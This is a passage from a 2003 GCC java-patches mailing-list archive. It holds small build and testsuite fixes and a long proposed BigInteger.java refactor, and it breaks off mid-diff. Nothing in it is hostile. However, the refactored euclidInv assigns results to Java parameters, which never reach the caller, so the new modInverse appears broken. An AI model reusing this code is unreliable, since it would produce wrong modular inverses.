Mark Wielaard * gjavah.c (throwable_p): Allocate 1 more byte for string. > Mark> - @input=`echo $@ | sed -e 's,jniinclude,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ > Mark> + @input=`echo $@ | sed -e 's,jniinclude/,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ > > Yes, please check this in. Thanks. Will do as follows: 2003-01-31 Mark WIelaard * Makefile.in: Rebuilt. * Makefile.am (gtk_c_headers): Strip trailing / from jniinclude. Cheers, Mark --=-QuSNWPkXyhAMjjvpPrlh Content-Disposition: inline; filename=gjavah.patch Content-Type: text/x-patch; name=gjavah.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: gjavah.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/gjavah.c,v retrieving revision 1.103 diff -u -r1.103 gjavah.c --- gjavah.c 12 Jan 2003 02:14:55 -0000 1.103 +++ gjavah.c 31 Jan 2003 23:52:01 -0000 @@ -1119,7 +1119,7 @@ for (length = 0; clname[length] != ';' && clname[length] != '\0'; ++length) ; - current = ALLOC (length); + current = ALLOC (length + 1); for (i = 0; i < length; ++i) current[i] = clname[i] == '/' ? '.' : clname[i]; current[length] = '\0'; --=-QuSNWPkXyhAMjjvpPrlh Content-Disposition: inline; filename=Makefile.patch Content-Type: text/x-patch; name=Makefile.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.272 diff -u -r1.272 Makefile.am --- Makefile.am 31 Jan 2003 21:47:16 -0000 1.272 +++ Makefile.am 1 Feb 2003 00:19:48 -0000 @@ -231,7 +231,7 @@ $(gtk_c_headers): $(gtk_awt_peer_sources) ## FIXME: GNU make. - @input=`echo $@ | sed -e 's,jniinclude,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ + @input=`echo $@ | sed -e 's,jniinclude/,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ echo "$(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input"; \ $(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.292 diff -u -r1.292 Makefile.in --- Makefile.in 31 Jan 2003 21:47:16 -0000 1.292 +++ Makefile.in 1 Feb 2003 00:19:51 -0000 @@ -2529,7 +2529,7 @@ DISTFILES = $(DIST_COMMON) $(SOURCES) $(HEADERS) $(TEXINFOS) $(EXTRA_DIST) -TAR = gtar +TAR = tar GZIP_ENV = --best DIST_SUBDIRS = @DIRLTDL@ testsuite gcj include @DIRLTDL@ gcj include DEP_FILES = .deps/$(srcdir)/$(CONVERT_DIR)/gen-from-JIS.P \ @@ -4534,7 +4534,7 @@ $(gtk_c_headers): $(gtk_awt_peer_sources) - @input=`echo $@ | sed -e 's,jniinclude,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ + @input=`echo $@ | sed -e 's,jniinclude/,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ echo "$(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input"; \ $(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input --=-QuSNWPkXyhAMjjvpPrlh-- From java-patches-return-5997-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 01:25:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24262 invoked by alias); 1 Feb 2003 01:25:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24254 invoked from network); 1 Feb 2003 01:25:48 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by 172.16.49.205 with SMTP; 1 Feb 2003 01:25:48 -0000 Received: (from weigand@localhost) by faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id CAA18662 for java-patches@gcc.gnu.org; Sat, 1 Feb 2003 02:25:47 +0100 (MET) From: Ulrich Weigand Message-Id: <200302010125.CAA18662@faui11.informatik.uni-erlangen.de> Subject: [PATCH] Fix Jacks testsuite invocation To: java-patches@gcc.gnu.org Date: Sat, 1 Feb 2003 02:25:47 +0100 (MET) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, running the Jacks testsuite failed because it wouldn't find the newly built libgcj classes or the libgcc_s library. This patch sets up the LD_LIBRARY_PATH variable before starting Jacks (to find libgcc_s), and writes an explicit JAVA_CLASSPATH to the gcj_setup file (so that libgcj.jar is found). Tested on s390-ibm-linux and s390x-ibm-linux on mainline and 3.3 branch. OK to install? Bye, Ulrich ChangeLog: * libjava.jacks/jacks.exp (gcj_jacks_write): Set LD_LIBRARY_PATH to find libgcc_s. Set JAVA_CLASSPATH to find libgcj.jar. Index: libjava/testsuite/libjava.jacks/jacks.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jacks/jacks.exp,v retrieving revision 1.2 diff -c -p -r1.2 jacks.exp *** libjava/testsuite/libjava.jacks/jacks.exp 1 Dec 2002 23:50:03 -0000 1.2 --- libjava/testsuite/libjava.jacks/jacks.exp 31 Jan 2003 18:53:20 -0000 *************** proc gcj_jacks_setup_xfail {ary} { *** 14,19 **** --- 14,22 ---- proc gcj_jacks_write {filename} { global GCJ_UNDER_TEST + global libgcj_jar + global libjava_libgcc_s_path + global original_ld_library_path set gcjl [split $GCJ_UNDER_TEST] set gcj_cmd [lindex $gcjl 0] *************** proc gcj_jacks_write {filename} { *** 22,28 **** set fd [open $filename w] puts $fd "set JAVAC $gcj_cmd" ! puts $fd "set JAVA_CLASSPATH \"\"" puts $fd "set JAVAC_FLAGS [list $rest]" puts $fd "set JAVA [list [libjava_find_gij]]" puts $fd "set JAVA_FLAGS \"\"" --- 25,31 ---- set fd [open $filename w] puts $fd "set JAVAC $gcj_cmd" ! puts $fd "set JAVA_CLASSPATH \"$libgcj_jar\"" puts $fd "set JAVAC_FLAGS [list $rest]" puts $fd "set JAVA [list [libjava_find_gij]]" puts $fd "set JAVA_FLAGS \"\"" *************** proc gcj_jacks_write {filename} { *** 32,37 **** --- 35,42 ---- # "Time-consuming JVM limitation tests". # puts $fd "set tcltest::testConstraints(jvm) 1" close $fd + + setenv LD_LIBRARY_PATH $libjava_libgcc_s_path:$original_ld_library_path } proc gcj_jacks_parse {file} { -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-5998-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 01 02:35:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12119 invoked by alias); 1 Feb 2003 02:35:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12100 invoked from network); 1 Feb 2003 02:35:27 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 1 Feb 2003 02:35:27 -0000 Received: from solomon (a5-p38.syd.fl.net.au [202.181.2.38]) by delenn.fl.net.au (Postfix) with ESMTP id BB6F21800B6; Sat, 1 Feb 2003 13:42:20 +1100 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: tromey@redhat.com Subject: Re: BigInteger patch (long) Date: Sat, 1 Feb 2003 13:36:30 +1100 User-Agent: KMail/1.4.3 Cc: java-patches@gcc.gnu.org References: <200212262244.25772.raif@fl.net.au> <87znphvt1z.fsf@fleche.redhat.com> In-Reply-To: <87znphvt1z.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200302011336.30199.raif@fl.net.au> On Saturday 01 February 2003 09:43, Tom Tromey wrote: > >>>>> "Raif" =3D=3D Raif S Naffah writes: > > Raif> the following is the diff for a modified BigInteger: > Raif> [ ...] > > Sorry for the delay on this. > > Per ok'd this, so I was going to check it in today. > Could you write a ChangeLog entry first though? > This patch is pretty big and I'm not sure I could do it justice. > Also if you could remove the commented-out code and resend the patch, > that would help too. here they are: cvs -z9 diff -u -wb -B ChangeLog (in directory /data/workspace/cvs/gcc/) Index: ChangeLog =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/ChangeLog,v retrieving revision 1.669 diff -u -w -b -B -r1.669 ChangeLog --- ChangeLog=0930 Jan 2003 22:44:14 -0000=091.669 +++ ChangeLog=091 Feb 2003 02:27:29 -0000 @@ -1,3 +1,68 @@ +2003-02-01 Raif S. Naffah + +=09* libjava/java/math/BigInteger.java: +=09copyright: Updated notice to include years 2002 and 3. +=09fields: Added 2 private (int) arrays with values from the HAC +=09 (Handbook of Applied Cryptography -A. Menezes & al): k[] that +=09 contains bit lengths and t[] that contains nbr. of tests --used in +=09 isProbablePrime(). +=09make(long) and valueOf(long): Merged into valueOf(long). +=09make(int[],int): Use valueOf(long) instead of make(long). +=09byteArrayToIntArray(): Removed casting to (int). this is std. behavio= ur. +=09alloc(int): Always instantiate a new BI. +=09isOdd(): Removed. not used. +=09isMinusOne(): Removed. not used. +=09canonicalize(): Removed casting to (int). +=09add(int,int): Use valueOf(long) instead of make(long). +=09add(BI,BI,int): Use valueOf(long) instead of make(long). +=09times(BI,int): Use valueOf(long) instead of make(long). +=09divide(long,long,BI,BI,int): Use valueOf(long) instead of make(long). +=09pow(BI): Removed. not used. +=09pow(int): Removed 'else' keyword. +=09euclidInv(int,int,int): Now returns an array of 2 ints instead of 3. +=09 the 3rd param was a work var. Amended code uses the local copy of +=09 the 1st param for the same purpose. +=09euclidInv(BI,BI,BI): Used to return an array of 2 BIs; now accepts 6 +=09 BIs and returns void. The new 3 additional params are used as work +=09 vars and should be instantiated and passed at the discretion of the +=09 caller --reduces overall number of objects when recursion occurs. +=09modInverse(BI): Use new signatures of euclidInv(). +=09modPow(BI,BI): Fixed spelling. +=09 Combined declaration with initialisation of locals. +=09 Removed unused var. +=09gcd(int,int): Declared 'tmp' once as local var and used everywhere wh= ere +=09 needed. +=09gcd(BI): Use valueOf(long) instead of make(long). +=09 Use static methods name in same class w/o prepending class name. +=09isProbablePrime(int): Use divide() with static small primes, and test +=09 remainder value directly as opposed to invoking remainder(). +=09 Use valueOf(long) instead of make(long). +=09 Use pre-computed max nbr of trials based on bitlength of BI to test= =2E +=09 values (in static k[] and t[] arrays described earlier) are from th= e +=09 HAC and are for a probability of 1/2**80. if caller wants better t= han +=09 1/2**80 the current implementation now doubles this pre-computed li= mit. +=09 Now use pre-computed small primes for the trial tests instead of ra= ndom +=09 numbers --a strategy recommended by the HAC. +=09shift(BI,int): Use valueOf(long) instead of make(long). +=09format(int,StringBuffer): Removed invoacation of MPN.chars_per_word()= =2E +=09 not used. +=09toString(int): Removed 'else' keyword. +=09equals(Object): Use static methods name in same class w/o prepending +=09 class name. +=09valueOf(String,int): Use valueOf(long) instead of make(long). +=09doubleValue(): Removed 'else' keyword. +=09 Use static methods name in same class w/o prepending class name. +=09setNegative(BI): Use static methods name in same class w/o prepending +=09 class name. +=09neg(BI): Use valueOf(long) instead of make(long). +=09negate(): Use static methods name in same class w/o prepending class +=09 name. +=09bitLength(): Removed 'else' keyword. +=09bitOp(int,BI,BI): Use valueOf(long) instead of make(long). +=09and(BI,int): Use valueOf(long) instead of make(long). +=09 Use static methods name in same class w/o prepending class name. +=09and(BI): Use methods name in same class w/o prepending class name. + 2003-01-30 Roger Sayle =20 =09* config.guess: Updated to 2003-01-30's version. cvs -z9 diff -u -wb -B BigInteger.java (in directory /data/workspace/cvs/= gcc/libjava/java/math/) Index: BigInteger.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/math/BigInteger.java,v retrieving revision 1.19 diff -u -w -b -B -r1.19 BigInteger.java --- BigInteger.java=0919 Dec 2002 06:59:46 -0000=091.19 +++ BigInteger.java=091 Feb 2003 02:29:22 -0000 @@ -1,5 +1,5 @@ /* java.math.BigInteger -- Arbitary precision integers - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Founda= tion, Inc. =20 This file is part of GNU Classpath. =20 @@ -110,6 +108,12 @@ 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 1= 81, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251 }; =20 + /** HAC (Handbook of Applied Cryptography), Alfred Menezes & al. Table= 4.4. */ + private static final int[] k =3D + {100,150,200,250,300,350,400,500,600,800,1250, Integer.MAX_VALUE}; + private static final int[] t =3D + { 27, 18, 15, 12, 9, 8, 7, 6, 5, 4, 3, 2}; + private BigInteger() { } @@ -218,38 +222,29 @@ } =20 /** Return a (possibly-shared) BigInteger with a given long value. */ - private static BigInteger make(long value) + public static BigInteger valueOf(long val) { - if (value >=3D minFixNum && value <=3D maxFixNum) - return smallFixNums[(int)value - minFixNum]; - int i =3D (int) value; - if ((long)i =3D=3D value) + if (val >=3D minFixNum && val <=3D maxFixNum) + return smallFixNums[(int) val - minFixNum]; + int i =3D (int) val; + if ((long) i =3D=3D val) return new BigInteger(i); BigInteger result =3D alloc(2); result.ival =3D 2; result.words[0] =3D i; - result.words[1] =3D (int) (value >> 32); + result.words[1] =3D (int)(val >> 32); return result; } =20 - // FIXME: Could simply rename 'make' method above as valueOf while - // changing all instances of 'make'. Don't do this until this class - // is done as the Kawa class this is based on has 'make' methods - // with other parameters; wait to see if they are used in BigInteger. - public static BigInteger valueOf(long val) - { - return make(val); - } - /** Make a canonicalized BigInteger from an array of words. * The array may be reused (without copying). */ private static BigInteger make(int[] words, int len) { if (words =3D=3D null) - return make(len); + return valueOf(len); len =3D BigInteger.wordsNeeded(words, len); if (len <=3D 1) - return len =3D=3D 0 ? ZERO : make(words[0]); + return len =3D=3D 0 ? ZERO : valueOf(words[0]); BigInteger num =3D new BigInteger(); num.words =3D words; num.ival =3D len; @@ -267,15 +262,15 @@ int bptr =3D 0; int word =3D sign; for (int i =3D bytes.length % 4; i > 0; --i, bptr++) - word =3D (word << 8) | (((int) bytes[bptr]) & 0xff); + word =3D (word << 8) | (bytes[bptr] & 0xff); words[--nwords] =3D word; =20 // Elements remaining in byte[] are a multiple of 4. while (nwords > 0) words[--nwords] =3D bytes[bptr++] << 24 | -=09=09=09(((int) bytes[bptr++]) & 0xff) << 16 | -=09=09=09(((int) bytes[bptr++]) & 0xff) << 8 | -=09=09=09(((int) bytes[bptr++]) & 0xff); +=09=09=09(bytes[bptr++] & 0xff) << 16 | +=09=09=09(bytes[bptr++] & 0xff) << 8 | +=09=09=09(bytes[bptr++] & 0xff); return words; } =20 @@ -284,9 +279,8 @@ */ private static BigInteger alloc(int nwords) { - if (nwords <=3D 1) - return new BigInteger(); BigInteger result =3D new BigInteger(); + if (nwords > 1) result.words =3D new int[nwords]; return result; } @@ -376,12 +370,6 @@ return compareTo(this, val) > 0 ? this : val; } =20 - private final boolean isOdd() - { - int low =3D words =3D=3D null ? ival : words[0]; - return (low & 1) !=3D 0; - } - private final boolean isZero() { return words =3D=3D null && ival =3D=3D 0; @@ -392,11 +380,6 @@ return words =3D=3D null && ival =3D=3D 1; } =20 - private final boolean isMinusOne() - { - return words =3D=3D null && ival =3D=3D -1; - } - /** Calculate how many words are significant in words[0:len-1]. * Returns the least value x such that x>0 && words[0:x-1]=3D=3Dwords[= 0:len-1], * when words is viewed as a 2's complement integer. @@ -433,14 +416,14 @@ =09words =3D null; } if (words =3D=3D null && ival >=3D minFixNum && ival <=3D maxFixNum) - return smallFixNums[(int) ival - minFixNum]; + return smallFixNums[ival - minFixNum]; return this; } =20 /** Add two ints, yielding a BigInteger. */ private static final BigInteger add(int x, int y) { - return BigInteger.make((long) x + (long) y); + return valueOf((long) x + (long) y); } =20 /** Add a BigInteger and an int, yielding a new BigInteger. */ @@ -526,13 +509,13 @@ private static BigInteger add(BigInteger x, BigInteger y, int k) { if (x.words =3D=3D null && y.words =3D=3D null) - return BigInteger.make((long) k * (long) y.ival + (long) x.ival); + return valueOf((long) k * (long) y.ival + (long) x.ival); if (k !=3D 1) { =09if (k =3D=3D -1) =09 y =3D BigInteger.neg(y); =09else -=09 y =3D BigInteger.times(y, BigInteger.make(k)); +=09 y =3D BigInteger.times(y, valueOf(k)); } if (x.words =3D=3D null) return BigInteger.add(y, x.ival); @@ -580,7 +563,7 @@ int[] xwords =3D x.words; int xlen =3D x.ival; if (xwords =3D=3D null) - return BigInteger.make((long) xlen * (long) y); + return valueOf((long) xlen * (long) y); boolean negative; BigInteger result =3D BigInteger.alloc(xlen + 1); if (xwords[xlen - 1] < 0) @@ -662,7 +645,7 @@ =09xNegative =3D true; =09if (x =3D=3D Long.MIN_VALUE) =09 { -=09 divide(BigInteger.make(x), BigInteger.make(y), +=09 divide(valueOf(x), valueOf(y), =09=09 quotient, remainder, rounding_mode); =09 return; =09 } @@ -684,7 +667,7 @@ =09=09 remainder.set(x); =09 } =09 else -=09 divide(BigInteger.make(x), BigInteger.make(y), +=09 divide(valueOf(x), valueOf(y), =09=09 quotient, remainder, rounding_mode); =09 return; =09 } @@ -966,39 +949,6 @@ return rem.canonicalize(); } =20 - /** Calculate power for BigInteger exponents. - * @param y exponent assumed to be non-negative. */ - private BigInteger pow(BigInteger y) - { - if (isOne()) - return this; - if (isMinusOne()) - return y.isOdd () ? this : ONE; - if (y.words =3D=3D null && y.ival >=3D 0) - return pow(y.ival); - - // Assume exponent is non-negative. - if (isZero()) - return this; - - // Implemented by repeated squaring and multiplication. - BigInteger pow2 =3D this; - BigInteger r =3D null; - for (;;) // for (i =3D 0; ; i++) - { - // pow2 =3D=3D x**(2**i) - // prod =3D x**(sum(j=3D0..i-1, (y>>j)&1)) - if (y.isOdd()) - r =3D r =3D=3D null ? pow2 : times(r, pow2); // r *=3D pow2 - y =3D BigInteger.shift(y, -1); - if (y.isZero()) - break; - // pow2 *=3D pow2; - pow2 =3D times(pow2, pow2); - } - return r =3D=3D null ? ONE : r; - } - /** Calculate the integral power of a BigInteger. * @param exponent the exponent (must be non-negative) */ @@ -1008,7 +958,6 @@ { =09if (exponent =3D=3D 0) =09 return ONE; -=09else =09 throw new ArithmeticException("negative exponent"); } if (isZero()) @@ -1051,51 +1000,36 @@ =20 private static final int[] euclidInv(int a, int b, int prevDiv) { - // Storage for return values, plus one slot for a temp int (see belo= w). - int[] xy; - if (b =3D=3D 0) throw new ArithmeticException("not invertible"); - else if (b =3D=3D 1) - { + + if (b =3D=3D 1) =09// Success: values are indeed invertible! =09// Bottom of the recursion reached; start unwinding. - xy =3D new int[3]; -=09xy[0] =3D -prevDiv; -=09xy[1] =3D 1; -=09return xy; - } +=09return new int[] { -prevDiv, 1 }; =20 - xy =3D euclidInv(b, a % b, a / b);=09// Recursion happens here. - - // xy[2] is just temp storage for intermediate results in the follow= ing - // calculation. This saves us a bit of space over having an int - // allocated at every level of this recursive method. - xy[2] =3D xy[0]; - xy[0] =3D xy[2] * -prevDiv + xy[1]; - xy[1] =3D xy[2]; + int[] xy =3D euclidInv(b, a % b, a / b);=09// Recursion happens here= =2E + a =3D xy[0]; // use our local copy of 'a' as a work var + xy[0] =3D a * -prevDiv + xy[1]; + xy[1] =3D a; return xy; } =20 - private static final BigInteger[] - euclidInv(BigInteger a, BigInteger b, BigInteger prevDiv) + private static final void euclidInv(BigInteger a, BigInteger b, + BigInteger prevDiv, BigInteger xy0= , + BigInteger xy1, BigInteger xy2) { - // FIXME: This method could be more efficient memory-wise and should= be - // modified as such since it is recursive. - - // Storage for return values, plus one slot for a temp int (see belo= w). - BigInteger[] xy; - if (b.isZero()) throw new ArithmeticException("not invertible"); - else if (b.isOne()) + + if (b.isOne()) { =09// Success: values are indeed invertible! =09// Bottom of the recursion reached; start unwinding. - xy =3D new BigInteger[3]; -=09xy[0] =3D neg(prevDiv); -=09xy[1] =3D ONE; -=09return xy; + // WARNING: xy1 is, and xy0 may be, a shared BI! +=09xy0 =3D neg(prevDiv); +=09xy1 =3D ONE; +=09return; } =20 // Recursion happens in the following conditional! @@ -1104,9 +1038,8 @@ if (a.words =3D=3D null) { int[] xyInt =3D euclidInv(b.ival, a.ival % b.ival, a.ival / b.iv= al); - xy =3D new BigInteger[3]; -=09xy[0] =3D new BigInteger(xyInt[0]); -=09xy[1] =3D new BigInteger(xyInt[1]); +=09xy0 =3D new BigInteger(xyInt[0]); // non-shared BI +=09xy1 =3D new BigInteger(xyInt[1]); // non-shared BI } else { @@ -1116,16 +1049,15 @@ // quot and rem may not be in canonical form. ensure rem.canonicalize(); quot.canonicalize(); - xy =3D euclidInv(b, rem, quot); + euclidInv(b, rem, quot, xy0, xy1, xy2); } =20 - // xy[2] is just temp storage for intermediate results in the follow= ing + // xy2 is just temp storage for intermediate results in the followin= g // calculation. This saves us a bit of space over having a BigInteg= er // allocated at every level of this recursive method. - xy[2] =3D xy[0]; - xy[0] =3D add(xy[1], times(xy[2], prevDiv), -1); - xy[1] =3D xy[2]; - return xy; + xy2 =3D xy0; + xy0 =3D add(xy1, times(xy2, prevDiv), -1); + xy1 =3D xy2; } =20 public BigInteger modInverse(BigInteger y) @@ -1136,7 +1068,7 @@ // Degenerate cases. if (y.isOne()) return ZERO; - else if (isOne()) + if (isOne()) return ONE; =20 // Use Euclid's algorithm as in gcd() but do this recursively @@ -1144,8 +1076,6 @@ // unwind from the recursion. // Used http://www.math.nmsu.edu/~crypto/EuclideanAlgo.html as refer= ence. BigInteger result =3D new BigInteger(); - int xval =3D ival; - int yval =3D y.ival; boolean swapped =3D false; =20 if (y.words =3D=3D null) @@ -1156,8 +1086,8 @@ =09// math. Note that BigInteger.mod() must be used even if this is =09// already an int as the % operator would provide a negative result i= f =09// this is negative, BigInteger.mod() never returns negative values. -=09if (words !=3D null || isNegative()) -=09 xval =3D mod(y).ival; + int xval =3D (words !=3D null || isNegative()) ? mod(y).ival : i= val; + int yval =3D y.ival; =20 =09// Swap values so x > y. =09if (yval > xval) @@ -1178,16 +1108,13 @@ } else { -=09BigInteger x =3D this; - =09// As above, force this to be a positive value via modulo math. -=09if (isNegative()) -=09 x =3D mod(y); +=09BigInteger x =3D isNegative() ? this.mod(y) : this; =20 =09// Swap values so x > y. =09if (x.compareTo(y) < 0) =09 { -=09 BigInteger tmp =3D x; x =3D y; y =3D tmp; +=09 result =3D x; x =3D y; y =3D result; // use 'result' as a work va= r =09 swapped =3D true; =09 } =09// As above (for ints), result will be in the 2nd element unless @@ -1198,7 +1125,10 @@ // quot and rem may not be in canonical form. ensure rem.canonicalize(); quot.canonicalize(); -=09result =3D euclidInv(y, rem, quot)[swapped ? 0 : 1]; + BigInteger xy0 =3D new BigInteger(); + BigInteger xy1 =3D new BigInteger(); + euclidInv(y, rem, quot, xy0, xy1, result); +=09result =3D swapped ? xy0 : xy1; =20 =09// Result can't be negative, so make it positive by adding the =09// original modulus, y (which is now x if they were swapped). @@ -1222,16 +1152,13 @@ // To do this naively by first raising this to the power of exponent // and then performing modulo m would be extremely expensive, especi= ally // for very large numbers. The solution is found in Number Theory - // where a combination of partial powers and modulos can be done eas= ily. + // where a combination of partial powers and moduli can be done easi= ly. // // We'll use the algorithm for Additive Chaining which can be found = on // p. 244 of "Applied Cryptography, Second Edition" by Bruce Schneie= r. - BigInteger s, t, u; - int i; - - s =3D ONE; - t =3D this; - u =3D exponent; + BigInteger s =3D ONE; + BigInteger t =3D this; + BigInteger u =3D exponent; =20 while (!u.isZero()) { @@ -1248,24 +1175,22 @@ private static final int gcd(int a, int b) { // Euclid's algorithm, copied from libg++. + int tmp; if (b > a) { -=09int tmp =3D a; a =3D b; b =3D tmp; +=09tmp =3D a; a =3D b; b =3D tmp; } for(;;) { =09if (b =3D=3D 0) =09 return a; -=09else if (b =3D=3D 1) + if (b =3D=3D 1) =09 return b; -=09else -=09 { -=09 int tmp =3D b; + tmp =3D b; =09 b =3D a % b; =09 a =3D tmp; =09 } } - } =20 public BigInteger gcd(BigInteger y) { @@ -1274,7 +1199,7 @@ if (words =3D=3D null) { =09if (xval =3D=3D 0) -=09 return BigInteger.abs(y); +=09 return abs(y); =09if (y.words =3D=3D null =09 && xval !=3D Integer.MIN_VALUE && yval !=3D Integer.MIN_VALUE) =09 { @@ -1282,14 +1207,14 @@ =09 xval =3D -xval; =09 if (yval < 0) =09 yval =3D -yval; -=09 return BigInteger.make(BigInteger.gcd(xval, yval)); +=09 return valueOf(gcd(xval, yval)); =09 } =09xval =3D 1; } if (y.words =3D=3D null) { =09if (yval =3D=3D 0) -=09 return BigInteger.abs(this); +=09 return abs(this); =09yval =3D 1; } int len =3D (xval > yval ? xval : yval) + 1; @@ -1304,8 +1229,24 @@ return result.canonicalize(); } =20 + /** + *

Returns true if this BigInteger is probably prime, + * false if it's definitely composite. If certainty= + * is <=3D 0, true is returned.

+ * + * @param certainty a measure of the uncertainty that the caller is wi= lling + * to tolerate: if the call returns true the probability = that + * this BigInteger is prime exceeds (1 - 1/2certainty= ). + * The execution time of this method is proportional to the value of t= his + * parameter. + * @return true if this BigInteger is probably prime, + * false if it's definitely composite. + */ public boolean isProbablePrime(int certainty) { + if (certainty < 1) + return true; + /** We'll use the Rabin-Miller algorithm for doing a probabilistic * primality test. It is fast, easy and has faster decreasing odds = of a * composite passing than with other tests. This means that this @@ -1317,19 +1258,20 @@ * Cryptography, Second Edition" by Bruce Schneier. */ =20 - // First rule out small prime factors and assure the number is odd. - for (int i =3D 0; i < primes.length; i++) + // First rule out small prime factors + BigInteger rem =3D new BigInteger(); + int i; + for (i =3D 0; i < primes.length; i++) { =09if (words =3D=3D null && ival =3D=3D primes[i]) =09 return true; - if (remainder(make(primes[i])).isZero()) + + divide(this, smallFixNums[primes[i] - minFixNum], null, rem, TRU= NCATE); + if (rem.canonicalize().isZero()) =09 return false; } =20 // Now perform the Rabin-Miller test. - // NB: I know that this can be simplified programatically, but - // I have tried to keep it as close as possible to the algorithm - // as written in the Schneier book for reference purposes. =20 // Set b to the number of times 2 evenly divides (this - 1). // I.e. 2^b is the largest power of 2 that divides (this - 1). @@ -1337,22 +1279,31 @@ int b =3D pMinus1.getLowestSetBit(); =20 // Set m such that this =3D 1 + 2^b * m. - BigInteger m =3D pMinus1.divide(make(2L << b - 1)); - - Random rand =3D new Random(); - while (certainty-- > 0) - { - // Pick a random number greater than 1 and less than this. -=09// The algorithm says to pick a small number to make the calculations -=09// go faster, but it doesn't say how small; we'll use 2 to 1024. -=09int a =3D rand.nextInt(); -=09a =3D (a < 0 ? -a : a) % 1023 + 2; + BigInteger m =3D pMinus1.divide(valueOf(2L << b - 1)); =20 -=09BigInteger z =3D make(a).modPow(m, this); + // The HAC (Handbook of Applied Cryptography), Alfred Menezes & al. = Note + // 4.49 (controlling the error probability) gives the number of tria= ls + // for an error probability of 1/2**80, given the number of bits in = the + // number to test. we shall use these numbers as is if/when 'certai= nty' + // is less or equal to 80, and twice as much if it's greater. + int bits =3D this.bitLength(); + for (i =3D 0; i < k.length; i++) + if (bits <=3D k[i]) + break; + int trials =3D t[i]; + if (certainty > 80) + trials *=3D 2; + BigInteger z; + for (int t =3D 0; t < trials; t++) + { + // The HAC (Handbook of Applied Cryptography), Alfred Menezes & = al. + // Remark 4.28 states: "...A strategy that is sometimes employed + // is to fix the bases a to be the first few primes instead of + // choosing them at random. +=09z =3D smallFixNums[primes[t] - minFixNum].modPow(m, this); =09if (z.isOne() || z.equals(pMinus1)) =09 continue;=09=09=09// Passes the test; may be prime. =20 -=09int i; =09for (i =3D 0; i < b; ) =09 { =09 if (z.isOne()) @@ -1361,7 +1312,7 @@ =09 if (z.equals(pMinus1)) =09 break;=09=09=09// Passes the test; may be prime. =20 -=09 z =3D z.modPow(make(2), this); +=09 z =3D z.modPow(valueOf(2), this); =09 } =20 =09if (i =3D=3D b && !z.equals(pMinus1)) @@ -1462,9 +1413,9 @@ if (x.words =3D=3D null) { =09if (count <=3D 0) -=09 return make(count > -32 ? x.ival >> (-count) : x.ival < 0 ? -1 : 0)= ; +=09 return valueOf(count > -32 ? x.ival >> (-count) : x.ival < 0 ? -1 := 0); =09if (count < 32) -=09 return make((long) x.ival << count); +=09 return valueOf((long) x.ival << count); } if (count =3D=3D 0) return x; @@ -1502,7 +1453,6 @@ =09 work =3D words; =09int len =3D ival; =20 -=09int buf_size =3D len * (MPN.chars_per_word(radix) + 1); =09if (radix =3D=3D 16) =09 { =09 if (neg) @@ -1555,7 +1505,7 @@ { if (words =3D=3D null) return Integer.toString(ival, radix); - else if (ival <=3D 2) + if (ival <=3D 2) return Long.toString(longValue(), radix); int buf_size =3D ival * 